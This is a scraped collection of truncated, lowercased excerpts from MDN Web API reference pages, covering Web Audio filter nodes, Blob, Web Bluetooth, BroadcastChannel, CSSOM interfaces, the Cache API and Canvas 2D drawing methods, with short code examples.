(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode.gain - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode.type - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status commen...
BiquadFilterNode - Web APIs
(window.audiocontext || window.webkitaudiocontext)(); //set up the different audio nodes we will use for the app var analyser = audioctx.createanalyser(); var distortion = audioctx.createwaveshaper(); var gainnode = audioctx.creategain(); var biquadfilter = audioctx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); ...
Blob() - Web APIs
Web › API › Blob › Blob
(\n) within the contents, if the data is text. the default value, transparent, copies newline characters into the blob without changing them. to convert newlines to the host system's native convention, specify the value native. return value a new blob object containing the specified data. example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification. working draft initial definition. ...
Blob.stream() - Web APIs
Web › API › Blob › stream
mdefaultreader interface's read() method. call the returned stream's pipeto() method to pipe the blob's data to a writable stream. call the returned stream's tee() method to tee the readable stream. this returns an array containing two new readablestream objects, each of which returns the contents of the blob. call the returned stream's pipethrough() method to pipe the stream through a transformstream or any other readable and writable pair. specifications specification status comment file apithe definition of 'blob.stream()' in that specification. working draft ...
Blob.text() - Web APIs
Web › API › Blob › text
eted as utf-8. syntax var textpromise = blob.text(); blob.text().then(text => /* do something with the text */); var text = await blob.text(); parameters none. returns a promise that resolves with a usvstring which contains the blob's data as a text string. the data is always presumed to be in utf-8 format. usage notes the filereader method readastext() is an older method that performs a similar function. it works on both blob and file objects. there are two key differences: blob.text() returns a promise, whereas filereader.readastext() is an event based api. blob.text() always uses utf-8 as encoding, while filereader.readastext() can use a different encoding depending on the blob's type and a specified encoding name. specifications specification status co...
Blob.type - Web APIs
Web › API › Blob › type
example this example asks the user to select a number of files, then checks each file to make sure it's one of a given set of image file types. ...
id - Web APIs
the bluetoothdevice.id read-only property returns a domstring that uniquely identifies a device. syntax var id = instanceofbluetoothdevice.id returns a domstring. specifications specification status comment web bluetooththe definition of 'id' in that specification. draft initial definition. ...
BluetoothDevice.name - Web APIs
the bluetoothdevice.name read-only property returns a domstring that provides a human-readable name for the device. syntax var name = instanceofbluetoothdevice.name returns a domstring. specifications specification status comment web bluetooththe definition of 'name' in that specification. draft initial definition. ...
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
the bluetoothremotegattcharacteristic.uuid read-only property returns domstring containing the uuid of the characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic. syntax var uuid = bluetoothremotegattcharacteristic.uuid returns a domstring. specifications specification status comment web bluetooththe definition of 'uuid' in that specification. draft initial definition. ...
BluetoothRemoteGATTCharacteristic - Web APIs
ise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice this characteristic belongs to. bluetoothremotegattcharacteristic.uuidread only returns a domstring containing the uuid of the characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic. bluetoothremotegattcharacteristic.propertiesread only returns the properties of this characteristic. bluetoothremotegattcharacteristic.valueread only the currently cached characteristic value. this value gets updated when the value of the characte...
uuid - Web APIs
the bluetoothgattservice.uuid read-only property returns a domstring representing the uuid of this service. syntax var uuid = bluetoothgattservice.uuid returns a domstring. specifications specification status comment web bluetooththe definition of 'uuid' in that specification. draft initial definition. ...
BluetoothRemoteGATTService - Web APIs
ervice>> getincludedservices(optional bluetoothserviceuuid service); }; properties bluetoothremotegattservice.deviceread only returns information about a bluetooth device through an instance of bluetoothdevice. bluetoothremotegattservice.isprimaryread only returns a boolean indicating whether this is a primary or secondary service. bluetoothremotegattservice.uuidread only returns a domstring representing the uuid of this service. methods bluetoothremotegattservice.getcharacteristic() returns a promise to an instance of bluetoothgattcharacteristic for a given universally unique identifier (uuid). bluetoothremotegattservice.getcharacteristics() returns a promise to an array of bluetoothgattcharacteristic instances for an optional universally unique identifier (uuid). blue...
Body.json() - Web APIs
Web › API › Body › json
nything that can be represented by json — an object, an array, a string, a number... example in our fetch json example (run fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file. when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data. const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; ...
BroadcastChannel() - Web APIs
example // create a new channel listening to the "internal_notification" channel. ...
BroadcastChannel.name - Web APIs
this name is passed to the broadcastchannel() constructor at creation time and is therefore read-only. note: this feature is available in web workers. ...
BroadcastChannel - Web APIs
e mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">broadcastchannel</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor broadcastchannel() creates an object linking to the named channel. properties this interface also inherits properties from its parent, eventtarget. broadcastchannel.name read only returns a domstring, the name of the channel. event handlers broadcastchannel.onmessage an eventhandler property that specifies the function to execute when a message event is fired on this object. broadcastchannel.onmessageerror an eventhandler called when a messageevent of type messageerror is fired—that is, when it receives a message that cannot be deserialized. methods this interface also inhe...
BufferSource - Web APIs
this is a helper type to simplify the specification. it isn't an interface and there are no objects implementing it. specifications specification status comment web idlthe definition of 'buffersource' in that specification. ...
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
. examples const queuingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification. living standard initial definition. ...
ByteLengthQueuingStrategy.size() - Web APIs
living standard initial definition. ...
CSS.escape() - Web APIs
Web › API › CSS › escape
the css.escape() static method returns a cssomstring containing the escaped string passed as parameter, mostly for use as part of a css selector. syntax escapedstr = css.escape(str); parameters str the cssomstring to be escaped. examples basic results css.escape(".foo#bar") // "\.foo\#bar" css.escape("()[]{}") // "\(\)\[\]\{\}" css.escape('--a') // "--a" css.escape(0) // "\30 ", the unicode code point of '0' is 30 css.escape('\0') // "\ufffd", the unicode replacement character in context uses to escape a string for use as part of a selector, the escape() method can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it esc...
CSS numeric factory functions - Web APIs
h(number); css.ic(number); css.rem(number); css.lh(number); css.rlh(number); css.vw(number); css.vh(number); css.vi(number); css.vb(number); css.vmin(number); css.vmax(number); css.cm(number); css.mm(number); css.q(number); css.in(number); css.pt(number); css.pc(number); css.px(number); // <angle> css.deg(number); css.grad(number); css.rad(number); css.turn(number); // <time> css.s(number); css.ms(number); // <frequency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric factory function to create a cssunitvalue: let height = css.vmax(50); console.log( height ); // cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ...
CSS.registerProperty() - Web APIs
t their value. registering a custom property allows you to tell the browser how the custom property should behave; what are allowed types, whether the custom property inherits its value, and what the default value of the custom property is. syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a domstring indicating the name of the property being defined. syntax optional a domstring representing the expected syntax of the defined property. defaults to "*". inherits a boolean value defining whether the defined property should be inherited (true), or not (false). defaults to false. initialvalue optional a domstring representing the initial value of the defined property. return value un...
CSS.supports() - Web APIs
Web › API › CSS › supports
the css.supports() method returns a boolean value indicating if the browser supports a given css feature, or not. syntax css.supports(propertyname, value); css.supports(supportcondition); parameters there are two distinct sets of parameters. the first one allows to test the support of a pair property-value: propertyname a domstring containing the name of the css property to check. value a domstring containing the value of the css property to check. the second syntax takes one parameter matching the condition of @supports: supportcondition a domstring containing the condition to check. return value true if the browser supports the rule, otherwise false. examples result = css.supports("text-decoration-style", "blink"); result = css.supports("display: flex"); result = css...
CSSConditionRule - Web APIs
an object implementing the cssconditionrule interface represents a single condition css at-rule, which consists of a condition and a statement block. it is a child of cssgroupingrule. two objects derive from it : cssmediarule and csssupportsrule. syntax the syntax is described using the webidl format. interface cssconditionrule : cssgroupingrule { attribute domstring conditiontext; } properties the cssconditionrule derives from cssrule, cssgroupingrule and inherits all properties of these classes. it has one specific property: cssconditionrule.conditiontext represents the text of the condition of the rule. methods the cssconditionrule derives from cssrule, cssgroupingrule and inherits all methods of these classes. it has no specific property of its own. specifications ...
CSSGroupingRule - Web APIs
groupingrule interface represents any css at-rule that contains other rules nested within it. objects deriving from it : cssconditionrule and its children: cssmediarule, csssupportsrule, and cssdocumentrule. csspagerule syntax the syntax is described using the webidl format. interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of this class. it has one specific property: cssgroupingrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods common to all cssgroupingrule instances the ...
CSSNamespaceRule.namespaceURI - Web APIs
the cssnamespacerule.namespaceuri read-only property returns a domstring containing the text of the uri of the given namespace. syntax var namespaceuri = cssnamespacerule.namespaceuri returns a domstring containing a uri. specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification. working draft initial definition. ...
CSSNamespaceRule.prefix - Web APIs
the cssnamespacerule.prefix read-only property returns a domstring with the name of the prefix associated to this namespace. if there is no such prefix, returns null. syntax var prefix = cssnamespacerule.prefix returns a domstring containing the prefix associated to this namespace. specifications specification status comment css object model (cssom)the definition of 'namespaceuri' in that specification. working draft initial definition. ...
CSSNamespaceRule - Web APIs
the cssnamespacerule interface describes an object representing a single css @namespace at-rule. it implements the cssrule interface, with a type value of 10 (cssrule.namespace_rule). syntax the syntax is described using the webidl format. interface cssnamespacerule : cssrule { readonly attribute domstring namespaceuri; readonly attribute domstring? prefix; }; properties as a cssrule, cssnamespacerule also implements the properties of that interface. it has some specific properties: cssnamespacerule.namespaceuri returns a domstring containing the text of the uri of the given namespace. cssnamespacerule.prefix returns a domstring with the name of the prefix associated to this namespace. if there is no such prefix, returns null. methods as a cssrule, cssnamespacerule...
CSSPageRule - Web APIs
csspagerule is an interface representing a single css @page rule. it implements the cssrule interface with a type value of 6 (cssrule.page_rule). syntax the syntax is described using the webidl format. interface csspagerule : cssrule { attribute domstring selectortext; readonly attribute cssstyledeclaration style; }; properties as a cssrule, csspagerule also implements the properties of this interface. it has the following specific properties: csspagerule.selectortext represents the text of the page selector associated with the at-rule. csspagerule.style read only returns the declaration block associated with the at-rule. methods as a cssrule, csspagerule also implements the methods of that interface. it has no specific methods. specifications specification ...
CSSPrimitiveValue.setStringValue() - Web APIs
gtype, stringvalue); parameters stringtype an unsigned short representing the type of the value. possible values are: constant description css_attr the value is an attr() function. css_ident the value is an identifier. css_string the value is a <string>. css_uri the value is a <uri>. stringvalue a domstring representing the new string value. return value void. exceptions type description domexception an invalid_access_err is raised if the css value doesn't contain a string value or if the string value can't be converted into the specified unit. an no_modification_allowed_err is raised if this property is read-only. specifications specificati...
CSSPseudoElement.type - Web APIs
the type read-only property of the csspseudoelement interface returns the type of the pseudo-element as a string, represented in the form of a css selector. ...
CSSPseudoElement - Web APIs
pseudoelement interface represents a pseudo-element that may be the target of an event or animated using the web animations api. instances of this interface may be obtained by calling element.pseudo(). properties csspseudoelement.element read only returns the originating/parent element of the pseudo-element. csspseudoelement.type read only returns the pseudo-element selector as a cssomstring. methods csspseudoelement extends eventtarget, so it inherits the following methods: eventtarget.addeventlistener() registers an event handler of a specific event type on the pseudo-element. eventtarget.dispatchevent() dispatches an event to this pseudo-element. eventtarget.removeeventlistener() removes an event listener from the pseudo-element. examples basic example using ele...
CSSStyleDeclaration.getPropertyCSSValue() - Web APIs
the cssstyledeclaration.getpropertycssvalue() method interface returns a cssvalue containing the css value for a property. note that it returns null if the property name is a shorthand property. you should use cssstyledeclaration.getpropertyvalue() instead. syntax var value = style.getpropertycssvalue(property); parameters property is a domstring representing the property name to be retrieved. return value value is a cssvalue containing the css value for a property. if none exists, returns null. example the following javascript code gets an object containing the computed rgb values of the color css property: var style = window.getcomputedstyle(elem, null); var rgbobj = style.getpropertycssvalue('color').getrgbcolorvalue(); specifications specification status...
CSSStyleDeclaration.item() - Web APIs
ty name from a cssstyledeclaration by index. this method doesn't throw exceptions as long as you provide arguments; the empty string is returned if the index is out of range and a typeerror is thrown if no argument is provided. syntax var propertyname = style.item(index); parameters index is the index of the node to be fetched. the index is zero-based. return value propertyname is a domstring that is the name of the css property at the specified index. javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comm...
CSSStyleSheet.addRule() - Web APIs
the obsolete cssstylesheet interface's addrule() legacy method adds a new rule to the stylesheet. you should avoid using this method, and should instead use the more standard insertrule() method. syntax var result = cssstylesheet.addrule(selector, styleblock, index); parameters selector a domstring specifying the selector portion of the css rule. the default is the string undefined. styleblock a domstring indicating the style block to apply to elements matching the selector. the default is the string undefined. index optional an optional index into the stylesheet's cssrulelist at which to insert the new rule. if index is not specified, the next index after the last item currently in the list is used (that is, the value of cssstylesheet.cssrules.length). return value always r...
CSSStyleSheet.insertRule() - Web APIs
the cssstylesheet.insertrule() method inserts a new css rule into the current style sheet, with some restrictions. note: although insertrule() is exclusively a method of cssstylesheet, it actually inserts the rule into cssstylesheet.cssrules — its internal cssrulelist. syntax stylesheet.insertrule(rule [, index]) parameters rule a domstring containing the rule to be inserted. what the inserted rule must contain depends on its type: for rule-sets, both a selector and a style declaration. for at-rules, both an at-identifier and the rule content. index optional a positive integer less than or equal to stylesheet.cssrules.length, representing the newly inserted rule's position in cssstylesheet.cssrules. the default is 0. (in older implementations, this was required. s...
CSSStyleSheet.rules - Web APIs
the cssstylesheet interface. functionally identical to the preferred cssrules property, it provides access to a live-updating list of the css rules comprising the stylesheet. note: as a legacy property, you not use rules and should instead use the preferred cssrules. while rules is unlikely to be removed soon, its availability is not as widespread and using it will result in compatibility problems for your site or app. syntax var rules = cssstylesheet.rules; value a live-updating cssrulelist containing each of the css rules making up the stylesheet. each entry in the rule list is a cssrule object describing one rule making up the stylesheet. specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.rules' in that spe...
CSSStyleSheet - Web APIs
various ways a cssstylesheet object can be obtained. properties inherits properties from its parent, stylesheet. cssrules read only returns a live cssrulelist which maintains an up-to-date list of the cssrule objects that comprise the stylesheet. this is normally used to access individual rules like this: stylesheet.cssrules[i] // where i = 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods. ownerrule read only if this stylesheet is imported into the document using an @import rule, the ownerrule property returns the corresponding cssimportrule; otherwise, this property's value is null. methods inherits methods from its parent, stylesheet. deleterule() deletes the rule at the specified index into t...
CSSUnparsedValue.length - Web APIs
syntax var length = cssunparsedvalue.length; value an integer. ...
CSSUnparsedValue - Web APIs
property values that reference custom properties. it consists of a list of string fragments and variable references. custom properties are represented by cssunparsedvalue and var() references are represented using cssvariablereferencevalue. constructor cssunparsedvalue.cssunparsedvalue() creates a new cssunparsedvalue object. properties cssunparsedvalue.length returns the number of items in the cssunparsedvalue object. methods cssunparsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well). cssunparsedvalue.foreach() executes a provided function once for each element of the cssunpars...
CSSValue.cssText - Web APIs
Web › API › CSSValue › cssText
the csstext property of the cssvalue interface represents the current computed css property value. syntax csstext = cssvalue.csstext; value a domstring representing the current css property value. example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.csstext); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.csstext' in that specification. obsolete initial definition ...
CSSValue - Web APIs
Web › API › CSSValue
cssvalue.cssvaluetyperead only an unsigned short representing a code defining the type of the value. possible values are: constant description css_custom the value is a custom value. css_inherit the value is inherited and the csstext contains "inherit". css_primitive_value the value is a primitive value and an instance of the cssprimitivevalue interface can be obtained by using binding-specific casting methods on this instance of the cssvalue interface. ...
CSSValueList - Web APIs
the cssvaluelist interface derives from the cssvalue interface and provides the abstraction of an ordered collection of css values. some properties allow an empty list in their syntax. in that case, these properties take the none identifier. so, an empty list means that the property has the value none. the items in the cssvaluelist are accessible via an integral index, starting from 0. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#ff...
Determining the dimensions of elements - Web APIs
erties. how much room does it use up? if you need to know the total amount of space an element occupies, including the width of the visible content, scrollbars (if any), padding, and border, you want to use the htmlelement.offsetwidth and htmlelement.offsetheight properties. most of the time these are the same as width and height of element.getboundingclientrect(), when there aren't any transforms applied to the element. in case of transforms, the offsetwidth and offsetheight returns the element's layout width and height, while getboundingclientrect() returns the rendering width and height. as an example, if the element has width: 100px; and transform: scale(0.5); the getboundingclientrect() will return 50 as the width, while offsetwidth will return 100. what's the size of the displayed...
Managing screen orientation - Web APIs
e note: the orientation media query actually applies based on the orientation of the browser window (or iframe) not the orientation of the device. locking the screen orientation warning: this api is experimental and currently available on firefox os and firefox for android with a moz prefix, and for internet explorer on windows 8.1 and above with a ms prefix. some devices (mainly mobile devices) can dynamically change the orientation of the screen based on their own orientation, ensuring that the user will always be able to read what's on the screen. while this behavior is perfectly suited for text content, there is some content that can be negatively affected by such a change. for example, games based on the orientation of the device could ...
Using the CSS Painting API - Web APIs
meters of the paint() function include the drawing context, paint size and properties. to be able to access properties, we include the static inputproperties() method, which provides live access to css properties, including regular properties and custom properties, and returns an array of property names. we'll take a look at inputarguments in the last section. example let's create a list of items with a background image that rotates between three different colors and three widths. in our css, we provide a different color and a width subtractor for the background box we've created via the --boxcolor and --widthsubtractor custom properties. <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> ...
Cache.delete() - Web APIs
Web › API › Cache › delete
nts matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a domstring that represents a specific cache to search within. note that this option is ignored by cache.delete(). return value a promise that resolves to true if the cache entry is deleted, or false otherwise. examples caches.open('v1').then(function(cache) { cache.delete('/images/image.png').then(function(response) { someuiupdatefunction(); }); }) specifications specificati...
Cache.keys() - Web APIs
Web › API › Cache › keys
nts matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. cachename: a domstring that represents a specific cache to search within. note that this option is ignored by cache.keys(). return value a promise that resolves to an array of cache keys. examples caches.open('v1').then(function(cache) { cache.keys().then(function(keys) { keys.foreach(function(request, index, array) { cache.delete(request); }); }); }) specifications specificat...
Cache - Web APIs
Web › API › Cache
xample as part of the serviceworker life cycle. note that the cache interface is exposed to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. an origin can have multiple, named cache objects. you are responsible for implementing how your script (e.g. in a serviceworker) handles cache updates. items in a cache do not get updated unless explicitly requested; they don’t expire unless deleted. use cachestorage.open() to open a specific named cache object and then call any of the cache methods to maintain the cache. you are also responsible for periodically purging cache entries. each browser has a hard limit on the amount of cache storage that a given origin can use. cache quota usage estima...
CacheStorage.has() - Web APIs
Web › API › CacheStorage › has
the has() method of the cachestorage interface returns a promise that resolves to true if a cache object matches the cachename. you can access cachestorage through the global caches property. syntax caches.has(cachename).then(function(boolean) { // true: your cache exists! }); parameters cachename a domstring representing the name of the cache object you are looking for in the cachestorage. return value a promise that resolves to true if the cache exists or false if not. examples the following example first checks whether a cache called 'v1' exists. if so, we add a list of assets to it. if not then we run some kind of cache set-up function. caches.has('v1').then(function(hascache) { if (!hascache) { somecachesetupfunction(); } else { caches.open('v1').then(funct...
CacheStorage.match() - Web APIs
atching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that, when set to true, tells the matching operation not to perform vary header matching. in other words, if the url matches you will get a match regardless of whether the response object has a vary header or not. it defaults to false. cachename: a domstring that represents a specific cache to search within. return value a promise that resolves to the matching response. if no matching response to the specified request is found, the promise resolves with undefined. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response like so: check wheth...
CanvasCaptureMediaStreamTrack - Web APIs
properties this interface inherits the properties of its parent, mediastreamtrack. canvascapturemediastreamtrack.canvas read only returns the htmlcanvaselement object whose surface is captured in real-time. methods this interface inherits the methods of its parent, mediastreamtrack. ...
CanvasRenderingContext2D.clearRect() - Web APIs
the canvasrenderingcontext2d.clearrect() method of the canvas 2d api erases the pixels in a rectangular area by setting them to transparent black. note: be aware that clearrect() may cause unintended side effects if you're not using paths properly. make sure to call beginpath() before starting to draw new items after calling clearrect(). syntax void ctx.clearrect(x, y, width, height); the clearrect() method sets the pixels in a rectangular area to transparent black (rgba(0,0,0,0)). the rectangle's corner is at (x, y), and its size is specified by width and height. parameters x the x-axis coordinate of the rectangle's starting point. y the y-axis coordinate of the rectangle's starting point. width the rectangle's width. positive values are to the right, and negative to the le...
CanvasRenderingContext2D.createPattern() - Web APIs
any subsequent drawing. syntax canvaspattern ctx.createpattern(image, repetition); parameters image a canvasimagesource to be used as the pattern's image. it can be any of the following: htmlimageelement (<img>) svgimageelement (<image>) htmlvideoelement (<video>, by using the capture of the video) htmlcanvaselement (<canvas>) imagebitmap offscreencanvas repetition a domstring indicating how to repeat the pattern's image. possible values are: "repeat" (both directions) "repeat-x" (horizontal only) "repeat-y" (vertical only) "no-repeat" (neither direction) if repetition is specified as an empty string ("") or null (but not undefined), a value of "repeat" will be used. return value canvaspattern an opaque object describing a pattern. examples c...
CanvasRenderingContext2D.drawWindow() - Web APIs
ch to tabs.capturetab. if you're writing chrome code, you probably want windowglobalparent.drawsnapshot from the parent process. syntax void ctx.drawwindow(window, x, y, w, h, bgcolor [, flags]); parameters window the window to render. x the x-axis coordinate of the window. y the y-axis coordinate of the window. w the width of the window. h the height of the window. bgcolor a domstring that specifies the color the canvas is filled with before the window is rendered into it. this color may be transparent/translucent. it is given as a css color string (for example, rgb() or rgba()). notes: if "rgba(0,0,0,0)" is used for the background color, the drawing will be transparent wherever the window is transparent. top-level browsed documents are usually not transparent beca...
CanvasRenderingContext2D.fillStyle - Web APIs
the canvasrenderingcontext2d.fillstyle property of the canvas 2d api specifies the color, gradient, or pattern to use inside shapes. the default style is #000 (black). for more examples of fill and stroke styles, see applying styles and color in the canvas tutorial. syntax ctx.fillstyle = color; ctx.fillstyle = gradient; ctx.fillstyle = pattern; options color a domstring parsed as css <color> value. gradient a canvasgradient object (a linear or radial gradient). pattern a canvaspattern object (a repeating image). examples changing the fill color of a shape this example applies a blue fill color to a rectangle. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'blue'; c...
CanvasRenderingContext2D.fillText() - Web APIs
any subsequent fill() or stroke() calls will have no effect on it. the text is rendered using the font and text layout configuration as defined by the font, textalign, textbaseline, and direction properties. to draw the outlines of the characters in a string, call the context's stroketext() method. syntax canvasrenderingcontext2d.filltext(text, x, y [, maxwidth]); parameters text a domstring specifying the text string to render into the context. the text is rendered using the settings specified by font, textalign, textbaseline, and direction. x the x-axis coordinate of the point at which to begin drawing the text, in pixels. y the y-axis coordinate of the point at which to begin drawing the text, in pixels. maxwidth optional the maximum number of pixels wide the text may b...
CanvasRenderingContext2D.filter - Web APIs
deringcontext2d.filter property of the canvas 2d api provides filter effects such as blurring and grayscaling. it is similar to the css filter property and accepts the same values. syntax ctx.filter = "<filter-function1> [<filter-function2>] [<filter-functionn>]"; ctx.filter = "none"; values the filter property accepts a value of "none" or one or more of the following filter functions in a domstring. url() a css <url>. takes an iri pointing to an svg filter element, which may be embedded in an external xml file. blur() a css <length>. applies a gaussian blur to the drawing. it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur. a value of 0 leaves the input unch...
CanvasRenderingContext2D.font - Web APIs
the default font is 10px sans-serif. examples using a custom font in this example we use the font property to specify a custom font weight, size, and family. ...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
ompositing operation to apply when drawing new shapes. see also compositing and clipping in the canvas tutorial. syntax ctx.globalcompositeoperation = type; type is a string identifying which of the compositing or blending mode operations to use. types examples changing the composite operation this example uses the globalcompositeoperation property to draw two rectangles that exclude themselves where they overlap. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment htm...
CanvasRenderingContext2D.lineDashOffset - Web APIs
npath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // dashed line with offset of 4 ctx.beginpath(); ctx.strokestyle = 'red'; ctx.linedashoffset = 4; ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result the line with a dash offset is drawn in red. marching ants the marching ants effect is an animation technique often found in selection tools of computer graphics programs. it helps the user to distinguish the selection border from the image background by animating the border. html <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10,...
CanvasRenderingContext2D.removeHitRegion() - Web APIs
examples using the removehitregion method this example demonstrates the removehitregion() method. ...
CanvasRenderingContext2D.shadowColor - Web APIs
ows. be aware that the shadow's rendered opacity will be affected by the opacity of the fillstyle color when filling, and of the strokestyle color when stroking. note: shadows are only drawn if the shadowcolor property is set to a non-transparent value. one of the shadowblur, shadowoffsetx, or shadowoffsety properties must be non-zero, as well. syntax ctx.shadowcolor = color; color a domstring parsed as a css <color> value. the default value is fully-transparent black. examples adding a shadow to shapes this example adds a shadow to two squares; the first one is filled, and the second one is stroked. the shadowcolor property sets the shadows' color, while shadowoffsetx and shadowoffsety set their position relative to the shapes. html <canvas id="canvas"></canvas> javascrip...
CanvasRenderingContext2D.strokeStyle - Web APIs
nvasrenderingcontext2d.strokestyle property of the canvas 2d api specifies the color, gradient, or pattern to use for the strokes (outlines) around shapes. the default is #000 (black). for more examples of stroke and fill styles, see applying styles and color in the canvas tutorial. syntax ctx.strokestyle = color; ctx.strokestyle = gradient; ctx.strokestyle = pattern; options color a domstring parsed as css <color> value. gradient a canvasgradient object (a linear or radial gradient). pattern a canvaspattern object (a repeating image). examples changing the stroke color of a shape this example applies a blue stroke color to a rectangle. html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx...
CanvasRenderingContext2D.strokeText() - Web APIs
